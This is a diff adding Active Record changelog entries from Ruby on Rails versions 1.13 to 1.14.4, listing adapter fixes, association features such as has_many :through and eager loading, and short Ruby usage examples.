+* Call Inflector#demodulize on the class name when eagerly including an STI model. Closes #5077 *info@loobmedia.com*
+
+* Preserve MySQL boolean column defaults when changing a column in a migration. Closes #5015. *pdcawley@bofh.org.uk*
+
+* PostgreSQL: migrations support :limit with :integer columns by mapping limit < 4 to smallint, > 4 to bigint, and anything else to integer. #2900 *keegan@thebasement.org*
+
+* Dates and times interpret empty strings as nil rather than 2000-01-01. #4830 *kajism@yahoo.com*
+
+* Allow :uniq => true with has_many :through associations. *Jeremy Kemper*
+
+* Ensure that StringIO is always available for the Schema dumper. *Marcel Molina Jr.*
+
+* Allow AR::Base#to_xml to include methods too. Closes #4921. *johan@textdrive.com*
+
+* Remove duplicate fixture entry in comments.yml. Closes #4923. *Blair Zajac <blair@orcaware.com>*
+
+* When grouping, use the appropriate option key. *Marcel Molina Jr.*
+
+* Add support for FrontBase (http://www.frontbase.com/) with a new adapter thanks to the hard work of one Mike Laster. Closes #4093. *mlaster@metavillage.com*
+
+* Add warning about the proper way to validate the presence of a foreign key. Closes #4147. *Francois Beausoleil <francois.beausoleil@gmail.com>*
+
+* Fix syntax error in documentation. Closes #4679. *Mislav Marohnić*
+
+* Add Oracle support for CLOB inserts. Closes #4748. *schoenm@earthlink.net sandra.metz@duke.edu*
+
+* Various fixes for sqlserver_adapter (odbc statement finishing, ado schema dumper, drop index). Closes #4831. *kajism@yahoo.com*
+
+* Add support for :order option to with_scope. Closes #3887. *eric.daspet@survol.net*
+
+* Prettify output of schema_dumper by making things line up. Closes #4241 *Caio Chassot <caio@v2studio.com>*
+
+* Make build_postgresql_databases task make databases owned by the postgres user. Closes #4790. *mlaster@metavillage.com*
+
+* Sybase Adapter type conversion cleanup. Closes #4736. *dev@metacasa.net*
+
+* Fix bug where calculations with long alias names return null. *Rick Olson*
+
+* Raise error when trying to add to a has_many :through association. Use the Join Model instead. *Rick Olson*
+
+ @post.tags << @tag # BAD
+ @post.taggings.create(:tag => @tag) # GOOD
+
+* Allow all calculations to take the :include option, not just COUNT (closes #4840) *Rick Olson*
+
+* Add ActiveRecord::Errors#to_xml *Jamis Buck*
+
+* Properly quote index names in migrations (closes #4764) *John Long*
+
+* Fix the HasManyAssociation#count method so it uses the new ActiveRecord::Base#count syntax, while maintaining backwards compatibility. *Rick Olson*
+
+* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions *Rick Olson*
+
+* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. *Rick Olson*
+
+* Add :case_sensitive option to validates_uniqueness_of (closes #3090) *Rick Olson*
+
+ class Account < ActiveRecord::Base
+ validates_uniqueness_of :email, :case_sensitive => false
+ end
+
+* Allow multiple association extensions with :extend option (closes #4666) *Josh Susser*
+
+ class Account < ActiveRecord::Base
+ has_many :people, :extend => [FindOrCreateByNameExtension, FindRecentExtension]
+ end
+
+
+## 1.14.4 (August 8th, 2006) ##
+
+* Add warning about the proper way to validate the presence of a foreign key. #4147 *Francois Beausoleil <francois.beausoleil@gmail.com>*
+
+* Fix syntax error in documentation. #4679 *Mislav Marohnić*
+
+* Update inconsistent migrations documentation. #4683 *machomagna@gmail.com*
+
+
+## 1.14.3 (June 27th, 2006) ##
+
+* Fix announcement of very long migration names. #5722 *blake@near-time.com*
+
+* Update callbacks documentation. #3970 *Robby Russell <robby@planetargon.com>*
+
+* Properly quote index names in migrations (closes #4764) *John Long*
+
+* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions *Rick Olson*
+
+* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. *Rick Olson*
+
+
+## 1.14.2 (April 9th, 2006) ##
+
+* Fixed calculations for the Oracle Adapter (closes #4626) *Michael Schoen*
+
+
+## 1.14.1 (April 6th, 2006) ##
+
+* Fix type_name_with_module to handle type names that begin with '::'. Closes #4614. *Nicholas Seckar*
+
+* Fixed that that multiparameter assignment doesn't work with aggregations (closes #4620) *Lars Pind*
+
+* Enable Limit/Offset in Calculations (closes #4558) *lmarlow*
+
+* Fixed that loading including associations returns all results if Load IDs For Limited Eager Loading returns none (closes #4528) *Rick Olson*
+
+* Fixed HasManyAssociation#find bugs when :finder_sql is set #4600 *lagroue@free.fr*
+
+* Allow AR::Base#respond_to? to behave when @attributes is nil *Ryan Davis*
+
+* Support eager includes when going through a polymorphic has_many association. *Rick Olson*
+
+* Added support for eagerly including polymorphic has_one associations. (closes #4525) *Rick Olson*
+
+ class Post < ActiveRecord::Base
+ has_one :tagging, :as => :taggable
+ end
+
+ Post.find :all, :include => :tagging
+
+* Added descriptive error messages for invalid has_many :through associations: going through :has_one or :has_and_belongs_to_many *Rick Olson*
+
+* Added support for going through a polymorphic has_many association: (closes #4401) *Rick Olson*
+
+ class PhotoCollection < ActiveRecord::Base
+ has_many :photos, :as => :photographic
+ belongs_to :firm
+ end
+
+ class Firm < ActiveRecord::Base
+ has_many :photo_collections
+ has_many :photos, :through => :photo_collections
+ end
+
+* Multiple fixes and optimizations in PostgreSQL adapter, allowing ruby-postgres gem to work properly. *ruben.nine@gmail.com*
+
+* Fixed that AssociationCollection#delete_all should work even if the records of the association are not loaded yet. *Florian Weber*
+
+* Changed those private ActiveRecord methods to take optional third argument :auto instead of nil for performance optimizations. (closes #4456) *Stefan*
+
+* Private ActiveRecord methods add_limit!, add_joins!, and add_conditions! take an OPTIONAL third argument 'scope' (closes #4456) *Rick Olson*
+
+* DEPRECATED: Using additional attributes on has_and_belongs_to_many associations. Instead upgrade your association to be a real join model *David Heinemeier Hansson*
+
+* Fixed that records returned from has_and_belongs_to_many associations with additional attributes should be marked as read only (fixes #4512) *David Heinemeier Hansson*
+
+* Do not implicitly mark recordss of has_many :through as readonly but do mark habtm records as readonly (eventually only on join tables without rich attributes). *Marcel Mollina Jr.*
+
+* Fixed broken OCIAdapter #4457 *Michael Schoen*
+
+
+## 1.14.0 (March 27th, 2006) ##
+
+* Replace 'rescue Object' with a finer grained rescue. Closes #4431. *Nicholas Seckar*
+
+* Fixed eager loading so that an aliased table cannot clash with a has_and_belongs_to_many join table *Rick Olson*
+
+* Add support for :include to with_scope *andrew@redlinesoftware.com*
+
+* Support the use of public synonyms with the Oracle adapter; required ruby-oci8 v0.1.14 #4390 *Michael Schoen*
+
+* Change periods (.) in table aliases to _'s. Closes #4251 *jeff@ministrycentered.com*
+
+* Changed has_and_belongs_to_many join to INNER JOIN for Mysql 3.23.x. Closes #4348 *Rick Olson*
+
+* Fixed issue that kept :select options from being scoped *Rick Olson*
+
+* Fixed db_schema_import when binary types are present #3101 *David Heinemeier Hansson*
+
+* Fixed that MySQL enums should always be returned as strings #3501 *David Heinemeier Hansson*
+
+* Change has_many :through to use the :source option to specify the source association. :class_name is now ignored. *Rick Olson*
+
+ class Connection < ActiveRecord::Base
+ belongs_to :user
+ belongs_to :channel
+ end
+
+ class Channel < ActiveRecord::Base
+ has_many :connections
+ has_many :contacts, :through => :connections, :class_name => 'User' # OLD
+ has_many :contacts, :through => :connections, :source => :user # NEW
+ end
+
+* Fixed DB2 adapter so nullable columns will be determines correctly now and quotes from column default values will be removed #4350 *contact@maik-schmidt.de*
+
+* Allow overriding of find parameters in scoped has_many :through calls *Rick Olson*
+
+ In this example, :include => false disables the default eager association from loading. :select changes the standard
+ select clause. :joins specifies a join that is added to the end of the has_many :through query.
+
+ class Post < ActiveRecord::Base
+ has_many :tags, :through => :taggings, :include => :tagging do
+ def add_joins_and_select
+ find :all, :select => 'tags.*, authors.id as author_id', :include => false,
+ :joins => 'left outer join posts on taggings.taggable_id = posts.id left outer join authors on posts.author_id = authors.id'
+ end
+ end
+ end
+
+* Fixed that schema changes while the database was open would break any connections to an SQLite database (now we reconnect if that error is throw) *David Heinemeier Hansson*
+
+* Don't classify the has_one class when eager loading, it is already singular. Add tests. (closes #4117) *Jonathan Viney*
+
+* Quit ignoring default :include options in has_many :through calls *Mark James*
+
+* Allow has_many :through associations to find the source association by setting a custom class (closes #4307) *Jonathan Viney*
+
+* Eager Loading support added for has_many :through => :has_many associations (see below). *Rick Olson*
+
+* Allow has_many :through to work on has_many associations (closes #3864) [sco@scottraymond.net] Example:
+
+ class Firm < ActiveRecord::Base
+ has_many :clients
+ has_many :invoices, :through => :clients
+ end
+
+ class Client < ActiveRecord::Base
+ belongs_to :firm
+ has_many :invoices
+ end
+
+ class Invoice < ActiveRecord::Base
+ belongs_to :client
+ end
+
+* Raise error when trying to select many polymorphic objects with has_many :through or :include (closes #4226) *Josh Susser*
+
+* Fixed has_many :through to include :conditions set on the :through association. closes #4020 *Jonathan Viney*
+
+* Fix that has_many :through honors the foreign key set by the belongs_to association in the join model (closes #4259) *andylien@gmail.com / Rick Olson*
+
+* SQL Server adapter gets some love #4298 *Ryan Tomayko*
+
+* Added OpenBase database adapter that builds on top of the http://www.spice-of-life.net/ruby-openbase/ driver. All functionality except LIMIT/OFFSET is supported #3528 *derrickspell@cdmplus.com*
+
+* Rework table aliasing to account for truncated table aliases. Add smarter table aliasing when doing eager loading of STI associations. This allows you to use the association name in the order/where clause. [Jonathan Viney / Rick Olson] #4108 Example (SpecialComment is using STI):
+
+ Author.find(:all, :include => { :posts => :special_comments }, :order => 'special_comments.body')
+
+* Add AbstractAdapter#table_alias_for to create table aliases according to the rules of the current adapter. *Rick Olson*
+
+* Provide access to the underlying database connection through Adapter#raw_connection. Enables the use of db-specific methods without complicating the adapters. #2090 *Michael Koziarski*
+
+* Remove broken attempts at handling columns with a default of 'now()' in the postgresql adapter. #2257 *Michael Koziarski*
+
+* Added connection#current_database that'll return of the current database (only works in MySQL, SQL Server, and Oracle so far -- please help implement for the rest of the adapters) #3663 *Tom Ward*
+
+* Fixed that Migration#execute would have the table name prefix appended to its query #4110 *mark.imbriaco@pobox.com*
+
+* Make all tinyint(1) variants act like boolean in mysql (tinyint(1) unsigned, etc.) *Jamis Buck*
+
+* Use association's :conditions when eager loading. [Jeremy Evans] #4144
+
+* Alias the has_and_belongs_to_many join table on eager includes. #4106 *Jeremy Evans*
+
+ This statement would normally error because the projects_developers table is joined twice, and therefore joined_on would be ambiguous.
+
+ Developer.find(:all, :include => {:projects => :developers}, :conditions => 'join_project_developers.joined_on IS NOT NULL')
+
+* Oracle adapter gets some love #4230 *Michael Schoen*
+
+ * Changes :text to CLOB rather than BLOB [Moses Hohman]
+ * Fixes an issue with nil numeric length/scales (several)
+ * Implements support for XMLTYPE columns [wilig / Kubo Takehiro]
+ * Tweaks a unit test to get it all green again
+ * Adds support for #current_database
+
+* Added Base.abstract_class? that marks which classes are not part of the Active Record hierarchy #3704 *Rick Olson*
+
+ class CachedModel < ActiveRecord::Base
+ self.abstract_class = true
+ end
+
+ class Post < CachedModel
+ end
+
+ CachedModel.abstract_class?
+ => true
+
+ Post.abstract_class?
+ => false
+
+ Post.base_class
+ => Post
+
+ Post.table_name
+ => 'posts'
+
+* Allow :dependent options to be used with polymorphic joins. #3820 *Rick Olson*
+
+ class Foo < ActiveRecord::Base
+ has_many :attachments, :as => :attachable, :dependent => :delete_all
+ end
+
+* Nicer error message on has_many :through when :through reflection can not be found. #4042 *court3nay*
+
+* Upgrade to Transaction::Simple 1.3 *Jamis Buck*
+
+* Catch FixtureClassNotFound when using instantiated fixtures on a fixture that has no ActiveRecord model *Rick Olson*
+
+* Allow ordering of calculated results and/or grouped fields in calculations *solo@gatelys.com*
+
+* Make ActiveRecord::Base#save! return true instead of nil on success. #4173 *johan@johansorensen.com*
+
+* Dynamically set allow_concurrency. #4044 *Stefan Kaes*
+
+* Added Base#to_xml that'll turn the current record into a XML representation [David Heinemeier Hansson]. Example:
+
+ topic.to_xml
+
+ ...returns:
+
+ <?xml version="1.0" encoding="UTF-8"?>
+ <topic>
+ <title>The First Topic</title>
+ <author-name>David</author-name>
+ <id type="integer">1</id>
+ <approved type="boolean">false</approved>
+ <replies-count type="integer">0</replies-count>
+ <bonus-time type="datetime">2000-01-01 08:28:00</bonus-time>
+ <written-on type="datetime">2003-07-16 09:28:00</written-on>
+ <content>Have a nice day</content>
+ <author-email-address>david@loudthinking.com</author-email-address>
+ <parent-id></parent-id>
+ <last-read type="date">2004-04-15</last-read>
+ </topic>
+
+ ...and you can configure with:
+
+ topic.to_xml(:skip_instruct => true, :except => [ :id, bonus_time, :written_on, replies_count ])
+
+ ...that'll return:
+
+ <topic>
+ <title>The First Topic</title>
+ <author-name>David</author-name>
+ <approved type="boolean">false</approved>
+ <content>Have a nice day</content>
+ <author-email-address>david@loudthinking.com</author-email-address>
+ <parent-id></parent-id>
+ <last-read type="date">2004-04-15</last-read>
+ </topic>
+
+ You can even do load first-level associations as part of the document:
+
+ firm.to_xml :include => [ :account, :clients ]
+
+ ...that'll return something like:
+
+ <?xml version="1.0" encoding="UTF-8"?>
+ <firm>
+ <id type="integer">1</id>
+ <rating type="integer">1</rating>
+ <name>37signals</name>
+ <clients>
+ <client>
+ <rating type="integer">1</rating>
+ <name>Summit</name>
+ </client>
+ <client>
+ <rating type="integer">1</rating>
+ <name>Microsoft</name>
+ </client>
+ </clients>
+ <account>
+ <id type="integer">1</id>
+ <credit-limit type="integer">50</credit-limit>
+ </account>
+ </firm>
+
+* Allow :counter_cache to take a column name for custom counter cache columns *Jamis Buck*
+
+* Documentation fixes for :dependent *robby@planetargon.com*
+
+* Stop the MySQL adapter crashing when views are present. #3782 *Jonathan Viney*
+
+* Don't classify the belongs_to class, it is already singular #4117 *keithm@infused.org*
+
+* Allow set_fixture_class to take Classes instead of strings for a class in a module. Raise FixtureClassNotFound if a fixture can't load. *Rick Olson*
+
+* Fix quoting of inheritance column for STI eager loading #4098 *Jonathan Viney <jonathan@bluewire.net.nz>*
+
+* Added smarter table aliasing for eager associations for multiple self joins #3580 *Rick Olson*
+
+ * The first time a table is referenced in a join, no alias is used.
+ * After that, the parent class name and the reflection name are used.
+
+ Tree.find(:all, :include => :children) # LEFT OUTER JOIN trees AS tree_children ...
+
+ * Any additional join references get a numerical suffix like '_2', '_3', etc.
+
+* Fixed eager loading problems with single-table inheritance #3580 [Rick Olson]. Post.find(:all, :include => :special_comments) now returns all posts, and any special comments that the posts may have. And made STI work with has_many :through and polymorphic belongs_to.
+
+* Added cascading eager loading that allows for queries like Author.find(:all, :include=> { :posts=> :comments }), which will fetch all authors, their posts, and the comments belonging to those posts in a single query (using LEFT OUTER JOIN) #3913 [anna@wota.jp]. Examples:
+
+ # cascaded in two levels
+ >> Author.find(:all, :include=>{:posts=>:comments})
+ => authors
+ +- posts
+ +- comments
+
+ # cascaded in two levels and normal association
+ >> Author.find(:all, :include=>[{:posts=>:comments}, :categorizations])
+ => authors
+ +- posts
+ +- comments
+ +- categorizations
+
+ # cascaded in two levels with two has_many associations
+ >> Author.find(:all, :include=>{:posts=>[:comments, :categorizations]})
+ => authors
+ +- posts
+ +- comments
+ +- categorizations
+
+ # cascaded in three levels
+ >> Company.find(:all, :include=>{:groups=>{:members=>{:favorites}}})
+ => companies
+ +- groups
+ +- members
+ +- favorites
+
+* Make counter cache work when replacing an association #3245 *eugenol@gmail.com*
+
+* Make migrations verbose *Jamis Buck*
+
+* Make counter_cache work with polymorphic belongs_to *Jamis Buck*
+
+* Fixed that calling HasOneProxy#build_model repeatedly would cause saving to happen #4058 *anna@wota.jp*
+
+* Added Sybase database adapter that relies on the Sybase Open Client bindings (see http://raa.ruby-lang.org/project/sybase-ctlib) #3765 [John Sheets]. It's almost completely Active Record compliant (including migrations), but has the following caveats:
+
+ * Does not support DATE SQL column types; use DATETIME instead.
+ * Date columns on HABTM join tables are returned as String, not Time.
+ * Insertions are potentially broken for :polymorphic join tables
+ * BLOB column access not yet fully supported
+
+* Clear stale, cached connections left behind by defunct threads. *Jeremy Kemper*
+
+* CHANGED DEFAULT: set ActiveRecord::Base.allow_concurrency to false. Most AR usage is in single-threaded applications. *Jeremy Kemper*
+
+* Renamed the "oci" adapter to "oracle", but kept the old name as an alias #4017 *Michael Schoen*
+
+* Fixed that Base.save should always return false if the save didn't succeed, including if it has halted by before_save's #1861, #2477 *David Heinemeier Hansson*
+
+* Speed up class -> connection caching and stale connection verification. #3979 *Stefan Kaes*
+
+* Add set_fixture_class to allow the use of table name accessors with models which use set_table_name. *Kevin Clark*
+
+* Added that fixtures to placed in subdirectories of the main fixture files are also loaded #3937 *dblack@wobblini.net*
+
+* Define attribute query methods to avoid method_missing calls. #3677 *Jonathan Viney*
+
+* ActiveRecord::Base.remove_connection explicitly closes database connections and doesn't corrupt the connection cache. Introducing the disconnect! instance method for the PostgreSQL, MySQL, and SQL Server adapters; implementations for the others are welcome. #3591 *Simon Stapleton, Tom Ward*
+
+* Added support for nested scopes #3407 [anna@wota.jp]. Examples:
+
+ Developer.with_scope(:find => { :conditions => "salary > 10000", :limit => 10 }) do
+ Developer.find(:all) # => SELECT * FROM developers WHERE (salary > 10000) LIMIT 10
+
+ # inner rule is used. (all previous parameters are ignored)
+ Developer.with_exclusive_scope(:find => { :conditions => "name = 'Jamis'" }) do
+ Developer.find(:all) # => SELECT * FROM developers WHERE (name = 'Jamis')
+ end
+
+ # parameters are merged
+ Developer.with_scope(:find => { :conditions => "name = 'Jamis'" }) do
+ Developer.find(:all) # => SELECT * FROM developers WHERE (( salary > 10000 ) AND ( name = 'Jamis' )) LIMIT 10
+ end
+ end
+
+* Fixed db2 connection with empty user_name and auth options #3622 *phurley@gmail.com*
+
+* Fixed validates_length_of to work on UTF-8 strings by using characters instead of bytes #3699 *Masao Mutoh*
+
+* Fixed that reflections would bleed across class boundaries in single-table inheritance setups #3796 *Lars Pind*
+
+* Added calculations: Base.count, Base.average, Base.sum, Base.minimum, Base.maxmium, and the generic Base.calculate. All can be used with :group and :having. Calculations and statitics need no longer require custom SQL. #3958 [Rick Olson]. Examples:
+
+ Person.average :age
+ Person.minimum :age
+ Person.maximum :age
+ Person.sum :salary, :group => :last_name
+
+* Renamed Errors#count to Errors#size but kept an alias for the old name (and included an alias for length too) #3920 *Luke Redpath*
+
+* Reflections don't attempt to resolve module nesting of association classes. Simplify type computation. *Jeremy Kemper*
+
+* Improved the Oracle OCI Adapter with better performance for column reflection (from #3210), fixes to migrations (from #3476 and #3742), tweaks to unit tests (from #3610), and improved documentation (from #2446) #3879 *Aggregated by schoenm@earthlink.net*
+
+* Fixed that the schema_info table used by ActiveRecord::Schema.define should respect table pre- and suffixes #3834 *rubyonrails@atyp.de*
+
+* Added :select option to Base.count that'll allow you to select something else than * to be counted on. Especially important for count queries using DISTINCT #3839 *Stefan Kaes*
+
+* Correct syntax error in mysql DDL, and make AAACreateTablesTest run first *Bob Silva*
+
+* Allow :include to be used with has_many :through associations #3611 *Michael Schoen*
+
+* PostgreSQL: smarter schema dumps using pk_and_sequence_for(table). #2920 *Blair Zajac*
+
+* SQLServer: more compatible limit/offset emulation. #3779 *Tom Ward*
+
+* Polymorphic join support for has_one associations (has_one :foo, :as => :bar) #3785 *Rick Olson*
+
+* PostgreSQL: correctly parse negative integer column defaults. #3776 *bellis@deepthought.org*
+
+* Fix problems with count when used with :include *Jeremy Hopple and Kevin Clark*
+
+* ActiveRecord::RecordInvalid now states which validations failed in its default error message *Tobias Lütke*
+
+* Using AssociationCollection#build with arrays of hashes should call build, not create *David Heinemeier Hansson*
+
+* Remove definition of reloadable? from ActiveRecord::Base to make way for new Reloadable code. *Nicholas Seckar*
+
+* Fixed schema handling for DB2 adapter that didn't work: an initial schema could be set, but it wasn't used when getting tables and indexes #3678 *Maik Schmidt*
+
+* Support the :column option for remove_index with the PostgreSQL adapter. #3661 *Shugo Maeda*
+
+* Add documentation for add_index and remove_index. #3600 *Manfred Stienstra <m.stienstra@fngtps.com>*
+
+* If the OCI library is not available, raise an exception indicating as much. #3593 *Michael Schoen*
+
+* Add explicit :order in finder tests as postgresql orders results differently by default. #3577. *Rick Olson*
+
+* Make dynamic finders honor additional passed in :conditions. #3569 *Oleg Pudeyev <pudeyo@rpi.edu>, Marcel Molina Jr.*
+
+* Show a meaningful error when the DB2 adapter cannot be loaded due to missing dependencies. *Nicholas Seckar*
+
+* Make .count work for has_many associations with multi line finder sql *Michael Schoen*
+
+* Add AR::Base.base_class for querying the ancestor AR::Base subclass *Jamis Buck*
+
+* Allow configuration of the column used for optimistic locking *wilsonb@gmail.com*
+
+* Don't hardcode 'id' in acts as list. *ror@philippeapril.com*
+
+* Fix date errors for SQLServer in association tests. #3406 *Kevin Clark*
+
+* Escape database name in MySQL adapter when creating and dropping databases. #3409 *anna@wota.jp*
+
+* Disambiguate table names for columns in validates_uniqueness_of's WHERE clause. #3423 *alex.borovsky@gmail.com*
+
+* .with_scope imposed create parameters now bypass attr_protected *Tobias Lütke*
+
+* Don't raise an exception when there are more keys than there are named bind variables when sanitizing conditions. *Marcel Molina Jr.*
+
+* Multiple enhancements and adjustments to DB2 adaptor. #3377 *contact@maik-schmidt.de*
+
+* Sanitize scoped conditions. *Marcel Molina Jr.*
+
+* Added option to Base.reflection_of_all_associations to specify a specific association to scope the call. For example Base.reflection_of_all_associations(:has_many) *David Heinemeier Hansson*
+
+* Added ActiveRecord::SchemaDumper.ignore_tables which tells SchemaDumper which tables to ignore. Useful for tables with funky column like the ones required for tsearch2. *Tobias Lütke*
+
+* SchemaDumper now doesn't fail anymore when there are unknown column types in the schema. Instead the table is ignored and a Comment is left in the schema.rb. *Tobias Lütke*
+
+* Fixed that saving a model with multiple habtm associations would only save the first one. #3244 *yanowitz-rubyonrails@quantumfoam.org, Florian Weber*
+
+* Fix change_column to work with PostgreSQL 7.x and 8.x. #3141 *wejn@box.cz, Rick Olson, Scott Barron*
+
+* removed :piggyback in favor of just allowing :select on :through associations. *Tobias Lütke*
+
+* made method missing delegation to class methods on relation target work on :through associations. *Tobias Lütke*
+
+* made .find() work on :through relations. *Tobias Lütke*
+
+* Fix typo in association docs. #3296. *Blair Zajac*
+
+* Fixed :through relations when using STI inherited classes would use the inherited class's name as foreign key on the join model *Tobias Lütke*
+
+## 1.13.2 (December 13th, 2005) ##
+
+* Become part of Rails 1.0
+
+* MySQL: allow encoding option for mysql.rb driver. *Jeremy Kemper*
+
+* Added option inheritance for find calls on has_and_belongs_to_many and has_many assosociations [David Heinemeier Hansson]. Example:
+
+ class Post
+ has_many :recent_comments, :class_name => "Comment", :limit => 10, :include => :author
+ end
+
+ post.recent_comments.find(:all) # Uses LIMIT 10 and includes authors
+ post.recent_comments.find(:all, :limit => nil) # Uses no limit but include authors
+ post.recent_comments.find(:all, :limit => nil, :include => nil) # Uses no limit and doesn't include authors
+
+* Added option to specify :group, :limit, :offset, and :select options from find on has_and_belongs_to_many and has_many assosociations *David Heinemeier Hansson*
+
+* MySQL: fixes for the bundled mysql.rb driver. #3160 *Justin Forder*
+
+* SQLServer: fix obscure optimistic locking bug. #3068 *kajism@yahoo.com*
+
+* SQLServer: support uniqueidentifier columns. #2930 *keithm@infused.org*
+
+* SQLServer: cope with tables names qualified by owner. #3067 *jeff@ministrycentered.com*
+
+* SQLServer: cope with columns with "desc" in the name. #1950 *Ron Lusk, Ryan Tomayko*
+
+* SQLServer: cope with primary keys with "select" in the name. #3057 *rdifrango@captechventures.com*
+
+* Oracle: active? performs a select instead of a commit. #3133 *Michael Schoen*
+
+* MySQL: more robust test for nullified result hashes. #3124 *Stefan Kaes*
+
+* Reloading an instance refreshes its aggregations as well as its associations. #3024 *François Beausoleil*
+
+* Fixed that using :include together with :conditions array in Base.find would cause NoMethodError #2887 *Paul Hammmond*
+
+* PostgreSQL: more robust sequence name discovery. #3087 *Rick Olson*
+
+* Oracle: use syntax compatible with Oracle 8. #3131 *Michael Schoen*
+
+* MySQL: work around ruby-mysql/mysql-ruby inconsistency with mysql.stat. Eliminate usage of mysql.ping because it doesn't guarantee reconnect. Explicitly close and reopen the connection instead. *Jeremy Kemper*
+
+* Added preliminary support for polymorphic associations *David Heinemeier Hansson*
+
+* Added preliminary support for join models *David Heinemeier Hansson*
+
+* Allow validate_uniqueness_of to be scoped by more than just one column. #1559. *jeremy@jthopple.com, Marcel Molina Jr.*
+
+* Firebird: active? and reconnect! methods for handling stale connections. #428 *Ken Kunz <kennethkunz@gmail.com>*
+
+* Firebird: updated for FireRuby 0.4.0. #3009 *Ken Kunz <kennethkunz@gmail.com>*
+
+* MySQL and PostgreSQL: active? compatibility with the pure-Ruby driver. #428 *Jeremy Kemper*
+
+* Oracle: active? check pings the database rather than testing the last command status. #428 *Michael Schoen*
+
+* SQLServer: resolve column aliasing/quoting collision when using limit or offset in an eager find. #2974 *kajism@yahoo.com*
+
+* Reloading a model doesn't lose track of its connection. #2996 *junk@miriamtech.com, Jeremy Kemper*
+
+* Fixed bug where using update_attribute after pushing a record to a habtm association of the object caused duplicate rows in the join table. #2888 *colman@rominato.com, Florian Weber, Michael Schoen*
+
+* MySQL, PostgreSQL: reconnect! also reconfigures the connection. Otherwise, the connection 'loses' its settings if it times out and is reconnected. #2978 *Shugo Maeda*
+
+* has_and_belongs_to_many: use JOIN instead of LEFT JOIN. *Jeremy Kemper*
+
+* MySQL: introduce :encoding option to specify the character set for client, connection, and results. Only available for MySQL 4.1 and later with the mysql-ruby driver. Do SHOW CHARACTER SET in mysql client to see available encodings. #2975 *Shugo Maeda*
+
+* Add tasks to create, drop and rebuild the MySQL and PostgreSQL test databases. *Marcel Molina Jr.*
+
+* Correct boolean handling in generated reader methods. #2945 *Don Park, Stefan Kaes*
+
+* Don't generate read methods for columns whose names are not valid ruby method names. #2946 *Stefan Kaes*
+
+* Document :force option to create_table. #2921 *Blair Zajac <blair@orcaware.com>*
+
+* Don't add the same conditions twice in has_one finder sql. #2916 *Jeremy Evans*
+
+* Rename Version constant to VERSION. #2802 *Marcel Molina Jr.*
+
+* Introducing the Firebird adapter. Quote columns and use attribute_condition more consistently. Setup guide: http://wiki.rubyonrails.com/rails/pages/Firebird+Adapter #1874 *Ken Kunz <kennethkunz@gmail.com>*
+
+* SQLServer: active? and reconnect! methods for handling stale connections. #428 *kajism@yahoo.com, Tom Ward <tom@popdog.net>*
+
+* Associations handle case-equality more consistently: item.parts.is_a?(Array) and item.parts === Array. #1345 *MarkusQ@reality.com*
+
+* SQLServer: insert uses given primary key value if not nil rather than SELECT @@IDENTITY. #2866 *kajism@yahoo.com, Tom Ward <tom@popdog.net>*
+
+* Oracle: active? and reconnect! methods for handling stale connections. Optionally retry queries after reconnect. #428 *Michael Schoen <schoenm@earthlink.net>*
+
+* Correct documentation for Base.delete_all. #1568 *Newhydra*
+
+* Oracle: test case for column default parsing. #2788 *Michael Schoen <schoenm@earthlink.net>*
+
+* Update documentation for Migrations. #2861 *Tom Werner <tom@cube6media.com>*
+
+* When AbstractAdapter#log rescues an exception, attempt to detect and reconnect to an inactive database connection. Connection adapter must respond to the active? and reconnect! instance methods. Initial support for PostgreSQL, MySQL, and SQLite. Make certain that all statements which may need reconnection are performed within a logged block: for example, this means no avoiding log(sql, name) { } if @logger.nil? #428 *Jeremy Kemper*
+
+* Oracle: Much faster column reflection. #2848 *Michael Schoen <schoenm@earthlink.net>*
+
+* Base.reset_sequence_name analogous to reset_table_name (mostly useful for testing). Base.define_attr_method allows nil values. *Jeremy Kemper*
+
+* PostgreSQL: smarter sequence name defaults, stricter last_insert_id, warn on pk without sequence. *Jeremy Kemper*
+
+* PostgreSQL: correctly discover custom primary key sequences. #2594 *Blair Zajac <blair@orcaware.com>, meadow.nnick@gmail.com, Jeremy Kemper*
+
+* SQLServer: don't report limits for unsupported field types. #2835 *Ryan Tomayko*
+
+* Include the Enumerable module in ActiveRecord::Errors. *Rick Bradley <rick@rickbradley.com>*
+
+* Add :group option, correspond to GROUP BY, to the find method and to the has_many association. #2818 *rubyonrails@atyp.de*
+
+* Don't cast nil or empty strings to a dummy date. #2789 *Rick Bradley <rick@rickbradley.com>*
+
+* acts_as_list plays nicely with inheritance by remembering the class which declared it. #2811 *rephorm@rephorm.com*
+
+* Fix sqlite adaptor's detection of missing dbfile or database declaration. *Nicholas Seckar*
+
+* Fixed acts_as_list for definitions without an explicit :order #2803 *Jonathan Viney*
+
+* Upgrade bundled ruby-mysql 0.2.4 with mysql411 shim (see #440) to ruby-mysql 0.2.6 with a patchset for 4.1 protocol support. Local change [301] is now a part of the main driver; reapplied local change [2182]. Removed GC.start from Result.free. *tommy@tmtm.org, akuroda@gmail.com, Doug Fales <doug.fales@gmail.com>, Jeremy Kemper*
+
+* Correct handling of complex order clauses with SQL Server limit emulation. #2770 *Tom Ward <tom@popdog.net>, Matt B.*
+
+* Correct whitespace problem in Oracle default column value parsing. #2788 *rick@rickbradley.com*
+
+* Destroy associated has_and_belongs_to_many records after all before_destroy callbacks but before destroy. This allows you to act on the habtm association as you please while preserving referential integrity. #2065 *larrywilliams1@gmail.com, sam.kirchmeier@gmail.com, elliot@townx.org, Jeremy Kemper*
+
+* Deprecate the old, confusing :exclusively_dependent option in favor of :dependent => :delete_all. *Jeremy Kemper*
+
+* More compatible Oracle column reflection. #2771 *Ryan Davis <ryand-ruby@zenspider.com>, Michael Schoen <schoenm@earthlink.net>*
+
+
+## 1.13.0 (November 7th, 2005) ##
+
+* Fixed faulty regex in get_table_name method (SQLServerAdapter) #2639 *Ryan Tomayko*
+
+* Added :include as an option for association declarations [David Heinemeier Hansson]. Example:
+
+ has_many :posts, :include => [ :author, :comments ]
+
+* Rename Base.constrain to Base.with_scope so it doesn't conflict with existing concept of database constraints. Make scoping more robust: uniform method => parameters, validated method names and supported finder parameters, raise exception on nested scopes. [Jeremy Kemper] Example:
+
+ Comment.with_scope(:find => { :conditions => 'active=true' }, :create => { :post_id => 5 }) do
+ # Find where name = ? and active=true
+ Comment.find :all, :conditions => ['name = ?', name]
+ # Create comment associated with :post_id
+ Comment.create :body => "Hello world"
+ end
+
